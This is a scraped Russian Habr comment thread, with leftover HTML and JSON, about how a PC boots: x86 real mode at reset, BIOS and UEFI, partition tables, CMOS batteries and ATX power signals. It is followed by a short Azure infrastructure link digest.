<br/>\r\n<br/>\r\nА это точно что современные x86 не конфигурируются до сброса, или просто нет официальной документации? Например старые добрые G5 процессоры из Apple Powermac 2003-2006 года выпуска до сброса настраиваются системным контроллером через JTAG, и только после этого начинают исполнять первые команды из ПЗУ.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ну вдруг у него офисная материнка уже на ATX12VO</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Никелевые текли, и растворяли дорожки вокруг себя. У ретроводов с этим большие проблемы</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>И как это повышает стоимость новой материнки до 300? Столько i5 9600 с матерью стоит в комплекте</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>x86 CPU всегда стартует в 16-разрядном режиме согласно спецификации</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Если что, старые BIOS (ну не 80-х годов) тоже почти сразу переходили в 32-разрядный режим при старте компьютера, и только перед загрузкой ОС прыгали обратно в 16.</blockquote><p>Они переходили в 32 бита для включения <a href=\"https://en.wikipedia.org/wiki/Unreal_mode\">Unreal mode</a> и тут же прыгали обратно, потому что в 16-битном режиме код короче. Потом, да, периодически включался 32-разрядный, но только по необходимости. Подробно это рассказано, например, <a href=\"https://www.amazon.com/BIOS-Disassembly-Ninjutsu-Uncovered/dp/1931769605/\">тут</a> (есть в сети в электронном виде).</p><br/>\r\n<blockquote>современные ОС давно не полагаются на BIOS, имеют свои драйверы и умеют переключать процессор куда им надо</blockquote><p>Умеют, да. Но ACPI может потребовать вызывать какие-то вещи через BIOS, поэтому такой вариант резервируется.</p><br/>\r\n<blockquote>На UEFI насколько я знаю тоже не полагаются.</blockquote><p>UEFI специально оставляет так называемые runtime services для выполнения функций уже на запущенной системе.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Зачем в 2020 году стартовать в этом режиме</blockquote><p>Это многим интересно. Но, думаю, пока не разработают SMM32, с этим ничего не изменится.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Совместимый со всеми вариант — это в котором<br/>\r\n1) не больше одного расширенного в первичном разделе (LBA=0);<br/>\r\n2) каждый расширенный имеет такую же таблицу, в которой под номером 1 целевой раздел и, если продолжается, под номером 2 снова расширенный на остаток исходного расширенного раздела.</p><br/>\r\n<p>Это то, что умеет весь софт одинаково. В принципе были варианты с более гибкой схемой, но если такую схему поймёт только одна ОС и не поймут никакие другие — то такое никому не будет интересно — как и случилось.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Есть официальная документация на чипсеты. Наверняка там не всё сказано, но про запуск процессора сказано по сути, что ищется, где есть процессор (если несколько слотов) и запускается подачей документированных сигналов, а процессор выбирает внутри себя ядро и точно так же запускает его. Ещё задача чипсета раздать всем процессорам уникальный id и настроить начальное состояние материнки, чтобы стартовое ядро хоть как-то запустилось. Дальше уже код BIOS выполняет прочие действия.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень интересно, спасибо! А конкретные ссылки на Интеловскую документацию есть по тому, что вы рассказали?<br/>\r\n<br/>\r\nВ PowerMac G5 например чипсет не занимается раздачей процессорных id — каждый процессорный сокет имеет свои уникальные id ножки, и ядра их таким образом считывают при сбросе. Все ядра начинают работать и исполнять код ПЗУ одновременно, но в чипсете есть один уникальный регистр, который возвращает «да» лишь один-единственный раз после холодного сброса. То из ядер которое первым сумеет считать оттуда «да» и назначается загрузочным по коду ПЗУ. Остальные, после самотестирования, переходят в режим ожидания специального прерывания.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно будет вам интересно <a href=\"https://habr.com/ru/company/pt/blog/341946/\">habr.com/ru/company/pt/blog/341946</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот всегда было интересно узнать разницу между литиевым аккумулятором и батарейкой. Например, RCR123A — аккумулятор, а CR123 — батарейка в том же размере.<br/>\r\nПочему тогда не делают батареек в размере 18650? Или аккумуляторов в размере CR2032?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">их можно даже очень дорогие найти, к примеру со встроенной поддержкой водяного охлаждения.<br/>\r\nКак я уже писал, этот вопрос у автора не раскрыт, и гадать тут можно долго</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>По ссылке нет слова super</blockquote><br/>\r\n<br/>\r\nВсё там есть, особенно с учётом моей подсказки о динамических разделах. Смотрите строчку «As time passed from Android 7.1 to Android 10, Google introduced Dynamic Partitions» ну и далее по ссылке.<br/>\r\n<br/>\r\n<blockquote>да и «retrofitted» используется как обычный глагол, а не как термин без перевода.</blockquote><br/>\r\n<br/>\r\nОбратите внимание, что RV недостаточно для классификации, пришлось вводить LV. «Retrofit» стирает эту необходимость. Вполне себе термин для вполне себе объективных (и редких) событий.<br/>\r\n<br/>\r\n<blockquote>Попробуйте предложить свой вариант эволюции, чтобы сохранять атомарность обновлений и не пихать всё в одну кучу?</blockquote><br/>\r\n<br/>\r\nЕсли бы не было такого чудовищного числа разделов изначально — наверное дела были бы проще. Неужели у Google недостаточно талантливых инженеров, чтобы единожды продумать базовый, коренной механизм своей ОС, а не менять его каждые пару лет, причём весьма кардинально?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">материнки для игровых ПК именно столько и стоят, покрайней мере во всех магазинах рядом со мной.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В свободное от работы время в местном колледже преподаю некоторые предметы по курсу Компьютерные системы и комплексы: как же не хватает таких поэтапных статей изложения нужного и, главное нового, материала. Приходится из десятка <s>бредовых статей</s> статей в интернете выуживать и собирать нужную лекцию. Тут у Вас всё по полочкам, под номерами и пояснениями, ну если короче, то просто Спасибо!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пожалуйста )</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Купил Asus Intel H370 LGA-1151 mATX за 115€ что я делаю не так? И проц за 229€ i5 9600k. Можно пример такой среднестатистической материнки за 300</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"https://www.cdw.com/product/Asus-ROG-Strix-X570-E-Gaming-motherboard-ATX-Socket-AM4-AMD-X570/6031506?cm_cat=google&amp;cm_ite=6031506&amp;cm_pla=NA-NA-Asus_EC&amp;cm_ven=acquirgy&amp;ef_id=Cj0KCQjwqrb7BRDlARIsACwGad7_v6bMT1UC57_mJrb-WiLjkENFAtJB0ROcL11v4zXTDP3-CTHpAjsaArJkEALw_wcB:G:s&amp;gclid=Cj0KCQjwqrb7BRDlARIsACwGad7_v6bMT1UC57_mJrb-WiLjkENFAtJB0ROcL11v4zXTDP3-CTHpAjsaArJkEALw_wcB&amp;s_kwcid=AL!4223!3!279722504806!!!g!339847196570!\">Asus ROG Strix X570-E Gaming — motherboard — ATX — Socket AM4 — AMD X570</a> $349.99<br/>\r\n<a href=\"https://www.bhphotovideo.com/c/product/1489699-REG/msi_meg_x570_godlike_am4.html/?ap=y&amp;ap=y&amp;smp=y&amp;smp=y&amp;lsft=BI%3A514&amp;gclid=Cj0KCQjwqrb7BRDlARIsACwGad4nepEosflg9mHJWERYZCYkw8Izc6WppUfgsWg_n71VT3k_4dRaBxQaAu-JEALw_wcB\">MSI MEG X570 GODLIKE AM4 E-ATX Motherboard</a> $671.99<br/>\r\n<a href=\"https://www.amazon.com/dp/B07HRZKSX4?tag=georiot-us-default-20&amp;th=1&amp;psc=1&amp;ascsubtag=pcg-us-1242621322810693400-20\">Gigabyte Z390 Aorus Ultra</a> $249.99<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Я так понимаю что среднестатистическая видеокарта для вас это 3090 rtx.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Большое спасибо за интересный материал!<br/>\r\n<br/>\r\nКстати, всегда удивляло, что есть 1000 экспертов, которые разбираются лучше, но в Microsoft не работают)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Только что проверил — процессор i7-3612QE в моём ноутбуке стартует в 16-битном режиме. Для этого я посмотрел в дамп флешки (виртуальной, полученной склейкой микросхем на 4 и 8 мебибайт) по смещению bffff0 (reset vector попадает на последние 16 байт флеша) и получил следующий код:<br/>\r\n<code>BFFFF0: 0F 09 wbinvd<br/>\r\nBFFFF2: E9 6B F9 00 00 jmp bff960</code><br/>\r\n<br/>\r\nЕсли проинтерпретировать инструкцию по адресу BFFFF2, как 32-битную, то получится <code>BFFFF2: E9 6B F9 00 00 jmp c0f962</code>, что не даст осмысленного адреса. <br/>\r\n<br/>\r\nИ, чтобы наверняка, посмотрим на код, куда идёт данный branch:<br/>\r\n<code>BFF960: DB E3 finit<br/>\r\nBFF962: 0F 6E C0 movd mm0, eax<br/>\r\nBFF965: 66 33 C0 xor eax, eax<br/>\r\nBFF968: 8E C0 mov es, ax<br/>\r\nBFF96A: 8C C8 mov ax, cs<br/>\r\nBFF96C: 8E D8 mov ds, ax<br/>\r\nBFF96E: 66 B8 DC F8 00 80 mov eax, 8000f8dc<br/>\r\nBFF974: BA F8 0C mov dx, cf8<br/>\r\nBFF977: 66 EF out dx, eax<br/>\r\n</code><br/>\r\nПоследние три инструкции в 32-битной интерпретации превращаются в бессмыслицу:<br/>\r\n<code>BFF96E: 66 B8 DC F8 mov ax, f8dc<br/>\r\nBFF972: 00 80 BA F8 0C 66 add [eax+660cf8ba], al<br/>\r\nBFF978: EF out dx, eax<br/>\r\n</code></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>по смещению bffff0 (reset vector попадает на последние 16 байт флеша)</blockquote><p>Процессор ресетится так, что стартует с ffff0. Не фатальная разница, но лучше уточнить.<br/>\r\nИли вы не про старт сразу после ресета процессора?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Процессор стартует с 0xFFFF_FFF0, т.е. с 4GiB — 16. Флешка 12MiB = 0xC0_0000, маппится в 0xFF40_0000.<br/>\r\n<br/>\r\nАдрес во флешке будет 0xC0_0000 — 16 = 0xBF_FFF0, и он замаппится как раз в 0xBF_FFF0 + 0xFF40_0000 = 0xFFFF_FFF0, то есть в тот самый адрес.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>и он замаппится как раз в 0xBF_FFF0 + 0xFF40_0000 = 0xFFFF_FFF0, то есть в тот самый адрес.</blockquote><p>Ну так тут важны именно адреса, которые видит процессор. Во флэшке оно может быть вообще по адресу, в котором часть линий перепутаны или инвертированы, это уже дело интерфейса. Поэтому лучше было таки показывать с 0xffff0 (или 0xfffffff0, тут неважно).</p><br/>\r\n<p>Но в общем понятно, вопрос закрыт.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как я понял на PS-ON нужно подать 0 для включения. Почему же тогда не соединить 2 вывода PS-ON вместе, вместо скрепки на втором БП- чтобы он тоже выключался кнопкой)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На Aliexpress есть такие «переходники»- \" DUAL PSU power supply / 24Pin Power Supply Synchronizer Male to Female ATX\". <a href=\"https://aliexpress.ru/item/32823752791.html\">aliexpress.ru/item/32823752791.html</a><br/>\r\n<img src=\"https://habrastorage.org/getpro/habr/comment_images/00c/fdb/1a7/00cfdb1a7db37cc4e248a7c15042790f.webp\" alt=\"image\" width=\"300\"/></div>" ], "message_markdown": [ "> возле круглой батарейки, которая на самом деле является литиевым аккумулятором, подзаряжающимся во время работы ПК\nВ старых материнках возможно это и был аккумулятор. В современных это литиевая батарейка. И никогда не пытайтесь ее заряжать, иначе скорее всего будет небольшой ба-бах, а с учетом того что крышка может отлететь в любую сторону, то могут быть и травмы некоторых частей тела, например глаз.", "Если с таким пониманием железа человек является\n> Windows Kernel Developer\n, ничего удивительного в постоянных глюках. Четырёх основных партиций им мало, 2,2 ТБ им мало. Зачем винде больше партиций, если только в Свисте появился скрытый системный раздел, а по дефолту оно занимает весь доступный объём? В некоторых случаях переустановки системным становится даже выделенный под /user. Не говоря о том, что обновления запихивали туда же неудаляемую обычными методами временную и скрытую папку с длинным непроизносимым наименованием. Такое впечатление, что поведение и развитие ОС уже неподвластно невелоперам. Понимание закончилось где-то после ХР, последнее что могли объяснить была вообще 98. Наслоили сэндвичи, осталось смузи полить.", "вы видели число разделов в андроиде ?", "Видел. А Вы знаете, по какой причине это сделано?\nИ реплика была в ответ на сетования про несовершенство классического BIOS.", "Стиль изложения у статью такой что есть\nОщущение что прочитал какую то книгу типа Windows 2000 для новичков.\nИли Компьютер для чайников (Windows 2000).\nих тех самых времён :D", "В старых материнках аккумуляторы были никелевые. В более новых — литиевые батарейки(не аккумуляторы). При попытке зарядки литиевой батареи небольшим током — ничего страшного не случится.", "по какой? расскажите. И про необходимость всего этого безумия с a/b, sar, boot ramdisk, recovery ramdisk, hybrid ramdisk, super раздел, retrofit. На фоне тонны разделов от вендора bsp, дополненных фантазиями OEM/ODM.", "Recovery image — чтобы при неудачной установке ядра всегда можно было загрузить устройство хоть в какой-то режим. Бонусом — возможность вынести функционал восстановления из основного образа. Устройства, где recovery и kernel были в одном разделе, иногда умирали крайне не вовремя. И с кучей танцев для их оживления.\nA/B — чтобы установка обновлений была быстрой, незаметной и имела возможность отката при проблемах.\nSAR — чтобы не плодить действительно лишние разделы, поскольку у нас и так есть неизменяемый system. Аналогично делают и в современных линуксах — никто не делит уже диск на / и /usr.\nЦирк с разными ramdisk пошёл уже от разных вендоров, которые считают, что они знают лучше. При этом сам ramdisk стал обязателен из-за того, что разделы для системы теперь динамические (чтобы не возникало старых проблем, когда новая версия android не помещается в заранее заданный раздел).\nОтдельный раздел под телефонный софт/прошивку/настройки — просто чтобы не трогать эту часть при обновлении системы и отделить от основной части.\nЧасть производителей даёт ещё раздел /vendor или /preload, чтобы вынести туда свой софт, который устанавливается при первом запуске в зависимости от текущего региона/оператора. Нужно, поскольку софт из /system будет считаться установленным всегда.\nНичего не скажу про \"retrofit\" или \"super раздел\", слышу о них впервые.", "Я знаю зачем они. Спрашивал про необходимость вести эволюцию именно таким путем. После этой чехарды жаловаться на служебный раздел у висты это просто смешно. Ну и интересно услышать про остальные разделы, коих наберется пара десятков. Так ли уж все они необходимы, и если да, почему у разных вендоров настолько разные наборы\nзы: я читал внутреннюю документацию qualcomm, например. Поэтому ЧТО лежит в разделе мне не интересно. Мне интересно ЗАЧЕМ.)\nsuper — для поддержки динамических разделов\nretrofit — когда способ загрузки изменяется с течении жизни девайса\nвот тут подробнее https://topjohnwu.github.io/Magisk/boot.html", "Парни, вы сначала определитесь с «батарейкой» и уясните, что в батарею можно набрать как химические неподзаряжаемые элементы питания, так и аккумуляторы.\nИ где глазастый screwer ~~хейтер~~ увидел жалобу на служебный раздел? Жаловался автор третьей порции на нехватку партиций «устарелым BIOS».", "Windows Kernel Developer — это не только про драйвера устройств, это про операционную систему в принципе. Windows уже давно не стартап в котором каждый разработчик это человек-оркестр. Разделением диска на разделы занимается другая команда.\nЧем конкретно вам доставляют неудобства эти особенности реализации?", "Windows Internals гораздо сложнее и объёмнее, плюс здесь инфа из других источников соединённая вместе.", "> Максимум 4 раздела, каждый из который может быть расширенным (extended partition), такой можно рекурсивно делить на 4 раздела и теоретически их число не ограничено\nМожет всё-таки один расширенный изначально? Или все, кто говорит что максимум 3 primary и 1 extended — неправы?", "еще бы уточнить размер этого небольшого тока заряда, который не повредит батарейке. Подозреваю что около микроампера, то есть никакой.", "а что это за пассаж с Nvidia 2070 S и несовместимым разъемом на материнке из-за которого надо вставлять скрепку на PS-ON или покупать новую материнку?", "> Процессор начинает свою работу в режиме который называется «Реальный». Это режим совместимости, в нём CPU работает так же как и старые 16-bit процессоры...\nЯ конечно не специалист в это деле (меня интересует UNIX железо на не-x86 процессорах), но как-то с трудом верится что в 2020 году, более 40 лет спустя появления 8086, современные x86 процессоры до сих пор стартуют в 16-разрядном режиме. Это такой вариант с/м для итшников? Зачем в 2020 году стартовать в этом режиме, когда BIOS уже давно мертва и когда до выполнения первой команды процессором работает тот самый системный контроллер, который может и процессор, и память и чипсет сконфигурировать как производителю захочется?", "Прикладная иллюстрация как блок питания получает сигнал от материнки на включение.", "Это цитата из раздела описывающего загрузку на BIOS, на современных компьютерах стоит UEFI, поэтому CPU начинает работу в своей родной разрядности.", "тогда стоило бы вставить это пояснение перед тем абзацем, чтобы не искать второй и третий скрытый смысл. Не бежать гуглить ATX12VO и Nvidia 12pin и размышлять что стало с материнками и видяшками", "Подкорректировал.", "осталось нераскрытым почему «разъёмы материнки будут не совпадать с разъёмами БП»", "К слову открывал новый сервер Lenovo и удивился увидев несколько больших ионисторов. Правда для другой цели — похоже на питание SSD, а не часы.", "В разрядности UEFI. Потому что мерзкие машинки с 32-бит UEFI на х64 процессоре есть в природе.", "Я не знал, спасибо за инфу", "Ага, так в каком же режиме процессор начинает работать после сброса? Это как-то конфигурируемо? Или он всё-таки сбрасывается в 16 разрядов, а потом 32-разрядная UEFI переводит его в 32 разряда, а 64-разрядная UEFI а 64?", "То, что вы цитировали из статьи в первом сообщении ветки относится к состоянию перед загрузкой ОС, как я понял статью. Если именно сразу после сброса/включения, то\n> сбрасывается в 16 разрядов, а потом 32-разрядная UEFI переводит его в 32 разряда, а 64-разрядная UEFI а 64?\nи потом грузится ОС, да. Насколько я знаю это не настраиваемо, и одинаково для всех x86, даже для этого ru.wikipedia.org/wiki/Intel_Quark\nЕсли что, старые BIOS (ну не 80-х годов) тоже почти сразу переходили в 32-разрядный режим при старте компьютера, и только перед загрузкой ОС прыгали обратно в 16.\nНу вообще с этой стороны всё это фигня, современные ОС давно не полагаются на BIOS, имеют свои драйверы и умеют переключать процессор куда им надо. На UEFI насколько я знаю тоже не полагаются.", "По ссылке нет слова super, да и \"retrofitted\" используется как обычный глагол, а не как термин без перевода.\nПопробуйте предложить свой вариант эволюции, чтобы сохранять атомарность обновлений и не пихать всё в одну кучу?", "ЕМНИП extended partition могло быть и больше одной, другое дело, что это было нецелесообразно — по факту extended partition это оверхэд над логическими дисками в ней, и естественно его минимизировать.", "Про 300$ и несовместимые разъемы это что вообще, после даже читать не стал. Вы давно покупали материнскую плату? 100$ Средняя мать от асуса на Bxxx чипсете. Можно и за 60$, но сильно порезанную, а за 300 это где вы такую нашли?", "Спасибо, именно это я и хотел выяснить.\nА это точно что современные x86 не конфигурируются до сброса, или просто нет официальной документации? Например старые добрые G5 процессоры из Apple Powermac 2003-2006 года выпуска до сброса настраиваются системным контроллером через JTAG, и только после этого начинают исполнять первые команды из ПЗУ.", "ну вдруг у него офисная материнка уже на ATX12VO", "Никелевые текли, и растворяли дорожки вокруг себя. У ретроводов с этим большие проблемы", "И как это повышает стоимость новой материнки до 300? Столько i5 9600 с матерью стоит в комплекте", "x86 CPU всегда стартует в 16-разрядном режиме согласно спецификации", "> Если что, старые BIOS (ну не 80-х годов) тоже почти сразу переходили в 32-разрядный режим при старте компьютера, и только перед загрузкой ОС прыгали обратно в 16.\nОни переходили в 32 бита для включения Unreal mode и тут же прыгали обратно, потому что в 16-битном режиме код короче. Потом, да, периодически включался 32-разрядный, но только по необходимости. Подробно это рассказано, например, тут (есть в сети в электронном виде).\n> современные ОС давно не полагаются на BIOS, имеют свои драйверы и умеют переключать процессор куда им надо\nУмеют, да. Но ACPI может потребовать вызывать какие-то вещи через BIOS, поэтому такой вариант резервируется.\n> На UEFI насколько я знаю тоже не полагаются.\nUEFI специально оставляет так называемые runtime services для выполнения функций уже на запущенной системе.", "> Зачем в 2020 году стартовать в этом режиме\nЭто многим интересно. Но, думаю, пока не разработают SMM32, с этим ничего не изменится.", "Совместимый со всеми вариант — это в котором\n1) не больше одного расширенного в первичном разделе (LBA=0);\n2) каждый расширенный имеет такую же таблицу, в которой под номером 1 целевой раздел и, если продолжается, под номером 2 снова расширенный на остаток исходного расширенного раздела.\nЭто то, что умеет весь софт одинаково. В принципе были варианты с более гибкой схемой, но если такую схему поймёт только одна ОС и не поймут никакие другие — то такое никому не будет интересно — как и случилось.", "Есть официальная документация на чипсеты. Наверняка там не всё сказано, но про запуск процессора сказано по сути, что ищется, где есть процессор (если несколько слотов) и запускается подачей документированных сигналов, а процессор выбирает внутри себя ядро и точно так же запускает его. Ещё задача чипсета раздать всем процессорам уникальный id и настроить начальное состояние материнки, чтобы стартовое ядро хоть как-то запустилось. Дальше уже код BIOS выполняет прочие действия.", "Очень интересно, спасибо! А конкретные ссылки на Интеловскую документацию есть по тому, что вы рассказали?\nВ PowerMac G5 например чипсет не занимается раздачей процессорных id — каждый процессорный сокет имеет свои уникальные id ножки, и ядра их таким образом считывают при сбросе. Все ядра начинают работать и исполнять код ПЗУ одновременно, но в чипсете есть один уникальный регистр, который возвращает «да» лишь один-единственный раз после холодного сброса. То из ядер которое первым сумеет считать оттуда «да» и назначается загрузочным по коду ПЗУ. Остальные, после самотестирования, переходят в режим ожидания специального прерывания.", "Возможно будет вам интересно habr.com/ru/company/pt/blog/341946", "Вот всегда было интересно узнать разницу между литиевым аккумулятором и батарейкой. Например, RCR123A — аккумулятор, а CR123 — батарейка в том же размере.\nПочему тогда не делают батареек в размере 18650? Или аккумуляторов в размере CR2032?", "их можно даже очень дорогие найти, к примеру со встроенной поддержкой водяного охлаждения.\nКак я уже писал, этот вопрос у автора не раскрыт, и гадать тут можно долго", "Спасибо!", "> По ссылке нет слова super\nВсё там есть, особенно с учётом моей подсказки о динамических разделах. Смотрите строчку «As time passed from Android 7.1 to Android 10, Google introduced Dynamic Partitions» ну и далее по ссылке.\n> да и «retrofitted» используется как обычный глагол, а не как термин без перевода.\nОбратите внимание, что RV недостаточно для классификации, пришлось вводить LV. «Retrofit» стирает эту необходимость. Вполне себе термин для вполне себе объективных (и редких) событий.\n> Попробуйте предложить свой вариант эволюции, чтобы сохранять атомарность обновлений и не пихать всё в одну кучу?\nЕсли бы не было такого чудовищного числа разделов изначально — наверное дела были бы проще. Неужели у Google недостаточно талантливых инженеров, чтобы единожды продумать базовый, коренной механизм своей ОС, а не менять его каждые пару лет, причём весьма кардинально?", "материнки для игровых ПК именно столько и стоят, покрайней мере во всех магазинах рядом со мной.", "В свободное от работы время в местном колледже преподаю некоторые предметы по курсу Компьютерные системы и комплексы: как же не хватает таких поэтапных статей изложения нужного и, главное нового, материала. Приходится из десятка ~~бредовых статей~~ статей в интернете выуживать и собирать нужную лекцию. Тут у Вас всё по полочкам, под номерами и пояснениями, ну если короче, то просто Спасибо!", "Пожалуйста )", "Купил Asus Intel H370 LGA-1151 mATX за 115€ что я делаю не так? И проц за 229€ i5 9600k. Можно пример такой среднестатистической материнки за 300", "Asus ROG Strix X570-E Gaming — motherboard — ATX — Socket AM4 — AMD X570 $349.99\nMSI MEG X570 GODLIKE AM4 E-ATX Motherboard $671.99\nGigabyte Z390 Aorus Ultra $249.99", "Я так понимаю что среднестатистическая видеокарта для вас это 3090 rtx.", "Большое спасибо за интересный материал!\nКстати, всегда удивляло, что есть 1000 экспертов, которые разбираются лучше, но в Microsoft не работают)", "Только что проверил — процессор i7-3612QE в моём ноутбуке стартует в 16-битном режиме. Для этого я посмотрел в дамп флешки (виртуальной, полученной склейкой микросхем на 4 и 8 мебибайт) по смещению bffff0 (reset vector попадает на последние 16 байт флеша) и получил следующий код:\n`BFFFF0: 0F 09 wbinvd\nBFFFF2: E9 6B F9 00 00 jmp bff960`\nЕсли проинтерпретировать инструкцию по адресу BFFFF2, как 32-битную, то получится `BFFFF2: E9 6B F9 00 00 jmp c0f962`, что не даст осмысленного адреса.\nИ, чтобы наверняка, посмотрим на код, куда идёт данный branch:\n`BFF960: DB E3 finit\nBFF962: 0F 6E C0 movd mm0, eax\nBFF965: 66 33 C0 xor eax, eax\nBFF968: 8E C0 mov es, ax\nBFF96A: 8C C8 mov ax, cs\nBFF96C: 8E D8 mov ds, ax\nBFF96E: 66 B8 DC F8 00 80 mov eax, 8000f8dc\nBFF974: BA F8 0C mov dx, cf8\nBFF977: 66 EF out dx, eax\n`\nПоследние три инструкции в 32-битной интерпретации превращаются в бессмыслицу:\n`BFF96E: 66 B8 DC F8 mov ax, f8dc\nBFF972: 00 80 BA F8 0C 66 add [eax+660cf8ba], al\nBFF978: EF out dx, eax\n`", "> по смещению bffff0 (reset vector попадает на последние 16 байт флеша)\nПроцессор ресетится так, что стартует с ffff0. Не фатальная разница, но лучше уточнить.\nИли вы не про старт сразу после ресета процессора?", "Процессор стартует с 0xFFFF_FFF0, т.е. с 4GiB — 16. Флешка 12MiB = 0xC0_0000, маппится в 0xFF40_0000.\nАдрес во флешке будет 0xC0_0000 — 16 = 0xBF_FFF0, и он замаппится как раз в 0xBF_FFF0 + 0xFF40_0000 = 0xFFFF_FFF0, то есть в тот самый адрес.", "> и он замаппится как раз в 0xBF_FFF0 + 0xFF40_0000 = 0xFFFF_FFF0, то есть в тот самый адрес.\nНу так тут важны именно адреса, которые видит процессор. Во флэшке оно может быть вообще по адресу, в котором часть линий перепутаны или инвертированы, это уже дело интерфейса. Поэтому лучше было таки показывать с 0xffff0 (или 0xfffffff0, тут неважно).\nНо в общем понятно, вопрос закрыт.", "Как я понял на PS-ON нужно подать 0 для включения. Почему же тогда не соединить 2 вывода PS-ON вместе, вместо скрепки на втором БП- чтобы он тоже выключался кнопкой)", "На Aliexpress есть такие «переходники»- \" DUAL PSU power supply / 24Pin Power Supply Synchronizer Male to Female ATX\". aliexpress.ru/item/32823752791.html" ], "author": [ "GennPen", "1234rfvb", "DmitryA (screwer)", "1234rfvb", "Пётр (Peter1010)", "thealfest", "DmitryA (screwer)", "DaemonGloom", "DmitryA (screwer)", "1234rfvb", "Андрей Артемьев (artmv32)", "Андрей Артемьев (artmv32)", "KorDen32", "rrust", "rrust", "ultrazoom", "Андрей Артемьев (artmv32)", "Андрей Артемьев (artmv32)", "rrust", "Андрей Артемьев (artmv32)", "rrust", "Javian", "rogoz", "Андрей Артемьев (artmv32)", "ultrazoom", "rogoz", "DaemonGloom", "vesper-bot", "TushaWorks (freeart)", "ultrazoom", "rrust", "Вадим Марков (BubaVV)", "TushaWorks (freeart)", "tnvd (tbl)", "Valentin Nechayev (netch80)", "Valentin Nechayev (netch80)", "Valentin Nechayev (netch80)", "Valentin Nechayev (netch80)", "ultrazoom", "rogoz", "Константин (stalinets)", "rrust", "ultrazoom", "DmitryA (screwer)", "Андрей Артемьев (artmv32)", "khan-alex", "Андрей Артемьев (artmv32)", "TushaWorks (freeart)", "Андрей Артемьев (artmv32)", "TushaWorks (freeart)", "Дмитрий (dimsog)", "kmeaw (kmeaw)", "Valentin Nechayev (netch80)", "kmeaw (kmeaw)", "Valentin Nechayev (netch80)", "andrewveselyi", "Javian" ], "children": [ [ 22095574 ], [ 22094510, 22096810 ], [ 22094600 ], [ 22095610 ], [ 22096816 ], [ 22096928, 22099298, 22100944 ], [ 22095726 ], [ 22095948 ], [ 22097856 ], [], [], [], [ 22098200, 22100404 ], [ 22097188 ], [ 22097104 ], [ 22097112, 22099974, 22100392, 22134492 ], [ 22097124, 22219768 ], [ 22097232 ], [ 22097150 ], [ 22097162 ], [], [], [ 22097268, 22097466 ], [], [ 22097608 ], [ 22099186, 22100382 ], [ 22101794 ], [], [ 22099284 ], [ 22100470, 22100870 ], [ 22099302 ], [], [ 22101184, 22105480 ], [], [], [], [], [ 22100566 ], [], [ 22101294 ], [], [], [], [], [ 22105508 ], [ 22105484 ], [], [ 22109048 ], [ 22109692 ], [], [], [ 22138488 ], [ 22138526 ], [ 22138564 ], [], [ 22230904 ], [] ] }
310,330
ru
https://habr.com/ru/post/310330/
Azure-IaaS-Дайджест №10 (Август-Сентябрь)
Disclaimer: Я пишу в основном про Azure с точки зрения инфраструктуры (DSC, IaaS, Hybrid\Private Cloud, OMS, ASR, Backup и т.д.). Не про разработку под Azure (хотя иногда что-то проскакивает). Azure теперь так же доступен в UK и Germany (что мало кого из читающих это тут волнует, но все же). Powershell в контейнере Linux и еще. Поехали! ## Azure Мониторинг и оповещения для Azure Backup. Azure SQL Threat detection (есть идеи как перевести?). JSON в Azure SQL. Docker Datacenter в Azure. Docker Swarm в Azure. Docker в Azure. Контейнеры в виртуальных машинах Azure. Azure Functions + ElasticSearch. Как подготовить VHD к загрузке в Azure. Office 365 addin'ы в шаблонах ARM. Драма вокруг Azure Storage Powershell (breaking changes). Virtual Machine Scale sets и Powershell (и ARM). Статус Azure в RSS. Pen Testing из виртуальных машин Azure. Создание образа виртуальной машины Linux. Создание виртуальной машины Linux из образа. Azure WebApps, Powershell и Kudu. Cron и Azure WebApp. ARM и RBAC. ARM шаблон для введения существующей виртуальной машины в домен. Демо лабаратория на ARM. Azure IaaS Deep Dive курс. Service Fabric, VSTS и Jar файлы. Azure Redis Cache на .Net Coreи Redis Security. Бесплатная книга Azure Fundamentals. Долгожданный MySQL для WebApp'ов в Azure, а не ClearDB. Миграция Вашей подписки в CSP подписку. Service Fabric (серия видео). Powershell скрипт для быстрого восстановления доступа к данным с VM. Повышение надежности Ваших сервисов в Azure. Про отправку почту из Azure. Гайд по установке Server Management Tools. ARM шаблон для разворачивания кластера Kubernetes. Железо в виртуальных машинах Azure. Azure AD в новом портале Preview! ## OMS Мониторим сети в OMS. Передача объектов в ARM шаблон из Azure Automation Runbook'а Бегикниги и операции с виртуальными машинами. ARM шаблон и Powershell. Автологин Powershell в Azure. Билд агент с использованием DevTest Labs. DevTest Labs артифакт для установки Powershell на линукс. Репликация клиентской ОС в Azure с помощью Azure Site Recovery. Генерация ssh ключе для виртуальных машин в Azure. Реплика контроллера домена и DSC. ## Azure Stack Azure Stack можно будет разворачивать только на определенных хардварных платформах.
